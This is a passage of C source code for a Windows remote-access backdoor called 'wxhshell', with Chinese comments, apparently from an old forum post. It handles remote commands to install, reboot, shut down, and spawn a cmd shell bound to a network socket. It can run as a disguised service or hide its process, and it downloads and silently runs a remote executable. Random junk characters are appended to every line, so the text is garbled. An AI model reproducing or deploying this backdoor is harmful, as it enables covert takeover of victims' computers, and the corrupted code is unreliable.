  // 帮助 )ixE  
  case '?': { Nq6CvDXi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7~f6j:{|z  
    break; /U]5#'i  
  } dD<kNa}2  
  // 安装 IpmREl $j  
  case 'i': { h8Si,W 3o  
    if(Install()) >GUTno$J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >@uYleD(  
    else "iGc'?/+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -h`0v  
    break; .&.CbE8K[  
    } >E=a~ O  
  // 卸载 O8o18m8UH  
  case 'r': { &W!@3O{~.  
    if(Uninstall()) a<.@+sj{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iNSJOS  
    else V'/%)oU\"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kyB]fmS  
    break; p~ItHwiT  
    } 0u\@-np  
  // 显示 wxhshell 所在路径 l}/UriZ0  
  case 'p': { /[5up  
    char svExeFile[MAX_PATH]; ^umAfk5r?H  
    strcpy(svExeFile,"\n\r"); rnE'gH(V'  
      strcat(svExeFile,ExeFile); Su#1yw>  
        send(wsh,svExeFile,strlen(svExeFile),0); +-d>Sl (  
    break; miSC'!  
    } 8:NHPHxB  
  // 重启 ?,C,q5 T\  
  case 'b': { cn:VEF:l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1j,Y  
    if(Boot(REBOOT)) p\\q[6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h zE)>f  
    else { (5&"Y?#o,  
    closesocket(wsh); +Ti@M1A&  
    ExitThread(0); WpZ^R;eK  
    } 'L/TaP/3  
    break; 8 K!a:{  
    } ~O$]y5  
  // 关机 kw'D2692  
  case 'd': { B,T.bgp\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `^vD4qD|  
    if(Boot(SHUTDOWN)) b\Ub<pE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1| DI'e[X  
    else { c3dZ1v  
    closesocket(wsh); q%Pnx_RB  
    ExitThread(0); m(Ynl=c  
    } [4yQ-L)]e  
    break; a\E]ueVD2j  
    } l/LUwDI{  
  // 获取shell H#E0S>Jw|  
  case 's': { k$!&3Rh  
    CmdShell(wsh); Rim}DfO/  
    closesocket(wsh); \O~7X0 <W  
    ExitThread(0); _P:P5H8  
    break; ' M!_k+e  
  } Xy +|D#b  
  // 退出 B#yyO>0k]  
  case 'x': { {r)M@@[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,P+&-}gn9  
    CloseIt(wsh); is$d<Y&F  
    break; m<4Lo0?nS  
    } ZxW V ,s&p  
  // 离开 Op{Mc$5a  
  case 'q': { /o2eKx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ."O(Ig[  
    closesocket(wsh); ,e,{6Sg6gl  
    WSACleanup(); )Be;Zw.|  
    exit(1); \Y$NGB=2[  
    break; J:a^''  
        } QR)eJ5<  
  } -(EqBr@_  
  } :JYOC+#q7  
JV>OmUAk  
  // 提示信息 Pt+_0OsR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (x@"Dp=MZW  
} =[&Jxy>Y  
  } </QSMs  
.9ne'Ta  
  return; *#_jTwQe  
} S0`*  
K]l) z* I  
// shell模块句柄 plq\D.C  
int CmdShell(SOCKET sock) 14R))Dz"  
{ r[~$  
STARTUPINFO si; .B*)A.   
ZeroMemory(&si,sizeof(si)); sBwgl9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ih0GzyU*4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ^8iy(  
PROCESS_INFORMATION ProcessInfo; ITV}f#  
char cmdline[]="cmd"; hGeRM4zVZZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vY6|V$  
  return 0; xjpW<-)MLf  
} 53QP~[F8R]  
:`K;0`C +  
// 自身启动模式 ?)&TewP  
int StartFromService(void) vKeK]  
{ ?kSs7e>  
typedef struct /<@tbZJ*8  
{ !IS ,[  
  DWORD ExitStatus; c LJCLKJ  
  DWORD PebBaseAddress; 'zaB5d~l  
  DWORD AffinityMask; ]2jnY&a5  
  DWORD BasePriority; G r)+O  
  ULONG UniqueProcessId; ]rS+v^@QH  
  ULONG InheritedFromUniqueProcessId; C1J'. !  
}   PROCESS_BASIC_INFORMATION; sAb|]Q((  
H;6V  
PROCNTQSIP NtQueryInformationProcess; o>YR Kb  
2-4%h!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qA30G~S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O_ c K 4  
0U<9=[~q7@  
  HANDLE             hProcess; uD"Voh|]=  
  PROCESS_BASIC_INFORMATION pbi; =ZQIpc  
!v-(O"a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #?9o A4Q  
  if(NULL == hInst ) return 0; Jj!T7f*-GX  
'&Ku Ba  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (:1 j-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9SPu 4i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P1kd6]s  
seq$]  
  if (!NtQueryInformationProcess) return 0; FD<~?-  
1gC=xMAT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b+3pu\w `  
  if(!hProcess) return 0; ~VOmMw4HV  
G4i&:0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4{Iz\:G:{/  
n;U|7it7  
  CloseHandle(hProcess); :X^B1z3X4  
 tua+R_"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ii)TCSt9U?  
if(hProcess==NULL) return 0; wv<"W@& 9  
XxIUB(.QI  
HMODULE hMod; \h-[u%  
char procName[255]; wcO+P7g  
unsigned long cbNeeded; ,Y*f]  
&^EkM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fKfi   
,O2F}5|;  
  CloseHandle(hProcess); [8"nRlXH  
 oDC3AK&  
if(strstr(procName,"services")) return 1; // 以服务启动 VbN]z:  
p"T4;QBxQ  
  return 0; // 注册表启动 G*QQpSp  
} l$FHL2?Cp  
it.l;L_nW  
// 主模块 `27? f$,  
int StartWxhshell(LPSTR lpCmdLine) Kl* ##qw!  
{ 9u9#&xx  
  SOCKET wsl; "x{S3v4Rb5  
BOOL val=TRUE; /4|qfF3  
  int port=0; FUDM aI  
  struct sockaddr_in door; qG;WX n  
 -x7L8Wj  
  if(wscfg.ws_autoins) Install(); e1H.2n{y^  
K= 69z  
port=atoi(lpCmdLine); ~"-wSAm  
sB6UlX;b:  
if(port<=0) port=wscfg.ws_port; ''Hq-Ng  
6ul34\;  
  WSADATA data; pY2nv/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  6} 9A0  
O:#to  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m,pDjf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $oNkE  
  door.sin_family = AF_INET; ^}WeBU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wtY#8 '^$&  
  door.sin_port = htons(port); lU@ni(69d  
B *:6U+I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^x q%P2s0  
closesocket(wsl); 03,+uf  
return 1; Q>.-u6(&  
} Y4i-Pp?  
4[6A~iC_  
  if(listen(wsl,2) == INVALID_SOCKET) { <_NF  
closesocket(wsl); <'/+E4m  
return 1; f[.]JC+,  
} UZ<!(g.  
  Wxhshell(wsl); _uRgKoiy  
  WSACleanup(); 5L4~7/kj  
SO}Hc;Q1`  
return 0;  bSmRo  
?vZ&CB  
} oV*3Mec  
0n1y$*I4  
// 以NT服务方式启动 uy B ?-Y+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tj.;\a|d  
{ BqR8%F  
DWORD   status = 0; r+) A)a,  
  DWORD   specificError = 0xfffffff; 13B[m p4  
 iKDGYM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q i?   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7Npz {C{I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iJq}tIk#2'  
  serviceStatus.dwWin32ExitCode     = 0; #fa~^]EM]  
  serviceStatus.dwServiceSpecificExitCode = 0; gP<l  
  serviceStatus.dwCheckPoint       = 0; Q tRKmry{  
  serviceStatus.dwWaitHint       = 0; T IS}'c'C  
w{0UA6+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;VvqKyUh7`  
  if (hServiceStatusHandle==0) return; H*l8,*M}  
/9 [nogP  
status = GetLastError(); eX}uZR  
  if (status!=NO_ERROR) VDscZt)y8  
{ T9u/|OP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B=9|g1e  
    serviceStatus.dwCheckPoint       = 0; |vzGFfRI  
    serviceStatus.dwWaitHint       = 0; Fm*O&6W\@A  
    serviceStatus.dwWin32ExitCode     = status; KSLyU1W  
    serviceStatus.dwServiceSpecificExitCode = specificError; sR#( \  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1(C%/g#"  
    return; 8TuOf(qE  
  } )u<sEF  
Lx2.E1?@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y(<>[8S m  
  serviceStatus.dwCheckPoint       = 0; u+S*D\p<`  
  serviceStatus.dwWaitHint       = 0; W[+E5I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kRG-~'f%`  
}  37{mhU  
\p.ku%{  
// 处理NT服务事件,比如:启动、停止 $NqT ={!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C#(4>'  
{ V" I+E  
switch(fdwControl) QarA.Ne~  
{ RM,r0Kv17Y  
case SERVICE_CONTROL_STOP: 3pm;?6i6  
  serviceStatus.dwWin32ExitCode = 0; " >;},$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DUa`8cE}  
  serviceStatus.dwCheckPoint   = 0; -p9|l%W  
  serviceStatus.dwWaitHint     = 0; {V8 v  
  { ~GMlnA]6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !K_%@|:7%  
  } > `u} G1T\  
  return; MLaH("aen  
case SERVICE_CONTROL_PAUSE: eFbr1IV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g3j@o/Y  
  break; WFy90*@Z  
case SERVICE_CONTROL_CONTINUE: M" %w9)@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '@rGX+"  
  break; v dyu=*Y  
case SERVICE_CONTROL_INTERROGATE: iYBs )  
  break; |odl~juU  
}; O']-<E`1k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p ^T0(\1  
} 2{g~6 U.  
Hb IRE  
// 标准应用程序主函数 K6_{AuL}4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %J7 ;b<}To  
{ H7*/  
H<g- Bhv  
// 获取操作系统版本 Ql!$e&A|l  
OsIsNt=GetOsVer(); d:Wh0y}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ScH"I];uA  
b?qtTce  
  // 从命令行安装 <SOC  
  if(strpbrk(lpCmdLine,"iI")) Install(); BY6QJkI9x  
PWx2<t<;9  
  // 下载执行文件 &`GQS|  
if(wscfg.ws_downexe) { _=8x?fC:rl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wF[^?K '  
  WinExec(wscfg.ws_filenam,SW_HIDE); EnZrnoGM  
} %YA=W=Yd  
4)i/B99k  
if(!OsIsNt) { /N]?>[<NW  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tw);`&Ulo  
HideProc(); PO ]z'LD  
StartWxhshell(lpCmdLine); cYq<.A(hVj  
} yiiYq(\{  
else 80LKxA;5N  
  if(StartFromService()) b\F(.8  
  // 以服务方式启动 Mo0+"`   
  StartServiceCtrlDispatcher(DispatchTable); PL[7|_%  
else 1\TXb!OtL  
  // 普通方式启动 kuqf(  
  StartWxhshell(lpCmdLine); RL SP?o2J  
+m]$P,yMt  
return 0; St^s"A  
}
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只看该作者 1 发表于: 2006-10-10
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